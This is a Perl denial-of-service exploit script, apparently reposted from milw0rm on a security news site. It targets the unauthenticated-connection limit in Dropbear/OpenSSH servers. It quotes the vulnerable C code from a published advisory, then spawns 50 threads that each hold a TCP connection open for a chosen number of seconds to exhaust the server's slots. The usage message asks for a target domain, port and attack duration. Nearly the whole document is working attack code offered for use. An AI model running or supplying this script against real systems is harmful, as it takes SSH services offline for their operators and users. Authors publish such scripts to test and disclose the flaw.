exploits , vulnerabilities , articles , Dropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service

Rated as : Moderate Risk

#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code
running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
#        if (childpipes[j] < 0) {
#                break;
#        }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
#        /* no free connections */
#        /* TODO - possibly log, though this would be an easy way
#         * to fill logs/disk */
#        close(childsock);
#        continue;
# }
## /str0ke (milw0rm.com)

use IO::Socket;
use Thread;
use strict;

my $serv     =  $ARGV[0];
my $port     =  $ARGV[1];
my $time     =  $ARGV[2];

sub usage
{
	print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of
Service Exploit\n";
	print "by /str0ke (milw0rm.com)\n";
	print "Credits to Pablo Fernandez\n";
	print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold
attack]\n";
	exit ();
}

sub exploit
{
	my ($serv, $port, $sleep) = @_;
	my $sock = new IO::Socket::INET ( PeerAddr => $serv,
	PeerPort => $port,
	Proto => 'tcp',
	);

	die "Could not create socket: $!\n" unless $sock;
	sleep $sleep;
	close($sock);
}

sub thread {
	my $i=1;
	print "Server: $serv\nPort: $port\nSeconds: $time\n";
	while($i < 51){
		print ".";
		my $thr = new Thread \&exploit, $serv, $port, $time;
		$i++;
	}
	sleep $time; #detach wouldn't be good
}

if (@ARGV != 3){&usage;}else{&thread;}
securitydot.net - 2006-03-10